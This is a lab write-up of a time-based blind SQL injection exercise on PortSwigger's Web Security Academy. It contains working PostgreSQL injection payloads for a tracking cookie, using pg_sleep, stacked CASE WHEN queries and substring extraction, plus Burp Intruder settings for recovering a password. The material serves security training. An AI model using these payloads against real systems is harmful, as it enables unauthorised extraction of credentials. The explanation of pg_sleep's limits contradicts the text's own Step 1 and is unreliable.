Skip to content

Blind SQL Injection — Time-Based Extraction

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Blind SQL Injection — Time-Based
Difficulty Practitioner
Injection Point TrackingId cookie
Goal Extract the administrator password using conditional time delays

Phase 1 — Reconnaissance

This lab is the most restrictive form of blind SQLi. Every technique tried returns HTTP 200 with no observable difference:

TrackingId=cookie' -- -
TrackingId=cookie' order by 1,2,3,4
TrackingId=cookie' or 2=1 -- -
TrackingId=cookie' or 'a'='b' -- -
TrackingId=cookie' union select null,null -- -

All return HTTP 200 — no boolean difference, no error reflection. The only remaining channel is time.


Phase 2 — Attack Path

Step 1 — Confirm Time-Based Injection and Fingerprint the DB

Cookie: TrackingId=cookie'|| pg_sleep(10) -- -;

The response was delayed by 10 seconds — injection is confirmed and the backend is PostgreSQL (pg_sleep is PostgreSQL-specific). No other database engine uses this function name.


Step 2 — Build a Conditional Time Delay

With time delays confirmed, the delay can be made conditional on a SQL expression. If the condition is true the server sleeps; if false it responds immediately. A URL-encoded semicolon (%3b) is used to stack a second query — pg_sleep() must run as a standalone statement, not inside a SELECT expression column:

TrackingId=cookie'%3b select case when(1=1) then pg_sleep(8) else pg_sleep(0) end -- -;

Response delayed — conditional logic works.


Step 3 — Confirm the Target User Exists

TrackingId=cookie'%3b select case when(username='administrator') then pg_sleep(8) else pg_sleep(0) end from users -- -;

Response delayed — administrator exists in the users table. Confirming a non-existing user produces no delay:

TrackingId=cookie'%3b select case when(username='test') then pg_sleep(8) else pg_sleep(0) end from users -- -;

No delay — user does not exist. The true/false timing difference is confirmed and reliable.


Step 4 — Determine Password Length

TrackingId=cookie'%3b select case when(username='administrator' and length(password)=20) then pg_sleep(8) else pg_sleep(0) end from users -- -;

Response delayed at length(password) = 20 — the password is exactly 20 characters long.


Step 5 — Extract Password Character by Character

TrackingId=cookie'%3b select case when(username='administrator' and substring(password,§1§,1)='§x§') then pg_sleep(8) else pg_sleep(0) end from users -- -;

Using Burp Intruder — Cluster Bomb attack:

  • Payload 1 (position §1§): numbers 1 to 20
  • Payload 2 (character §x§): a-z + 0-9

Critical: In the Resource Pool tab, set Maximum concurrent requests to 1. Time-based attacks require strictly sequential requests — if requests run in parallel the timing measurements become unreliable and results will be wrong.

The Response received column in Intruder shows which requests took longer — those are the correct characters for each position.

Screenshot

Password recovered: cjgyl5flxtcwlfkrgfat


Alternative — Python Automation

The same brute-force can be automated with a Python script. It iterates through every character position (1 to 20) and for each position tries every character in a-z + A-Z + 0-9. For each combination it sends a GET request with a crafted TrackingId cookie containing the CASE WHEN + pg_sleep payload and measures the elapsed response time. If the elapsed time exceeds 3 seconds, the condition was true — that character at that position is correct. It appends the character to the recovered password and moves to the next position. Progress is displayed in real time using pwntools log bars.

Screenshot
Screenshot

Conclusion

  1. All standard blind SQLi probes returned HTTP 200 with no observable difference — boolean-based and error-based techniques were both ruled out.
  2. pg_sleep(10) via string concatenation caused a 10-second delay, confirming injection and identifying PostgreSQL as the backend.
  3. Stacked queries via %3b enabled CASE WHEN (condition) THEN pg_sleep(8) ELSE pg_sleep(0) END — true condition sleeps, false condition responds immediately.
  4. User existence and password length (20 chars) were confirmed via conditional delays.
  5. Cluster Bomb Intruder with SUBSTRING across positions 1–20 and charset a-z + 0-9, with concurrent requests limited to 1, recovered the full password: cjgyl5flxtcwlfkrgfat.

Key Concepts

The three blind SQLi channels — in order of preference:

Channel Signal When to use
Boolean-based App behavior (message, redirect, content diff) App responds differently to true vs. false
Error-based (visible) Error message in response body App reflects DB errors in HTTP response
Time-based Response delay All other channels closed — last resort

Time-based is the noisiest and slowest but works when the application is completely opaque to boolean and error signals.

CASE WHEN (condition) THEN pg_sleep(N) ELSE pg_sleep(0) END — the core PostgreSQL conditional delay primitive. The condition is evaluated first; if true, the database sleeps before responding; if false, it responds immediately. The timing difference is the only exfiltration channel.

Stacked queries (%3b) are required for PostgreSQL time-based attackspg_sleep() must run as a standalone statement. It cannot be embedded inside a SELECT column expression like CAST() or CASE WHEN in a WHERE clause alone. The URL-encoded semicolon separates the original query from the injected one, allowing two independent SQL statements to execute sequentially.

Sequential requests are mandatory — concurrent requests make timing measurements unreliable. Two requests sleeping 8 seconds simultaneously both return at roughly the same time, making it impossible to distinguish true from false. Always set Burp Intruder's thread pool to 1 for time-based attacks, or use synchronous requests in scripts.

Time-based functions by database engine:

Database Sleep Function
PostgreSQL pg_sleep(N)
MySQL SLEEP(N)
MSSQL WAITFOR DELAY '0:0:N'
Oracle dbms_pipe.receive_message('a', N)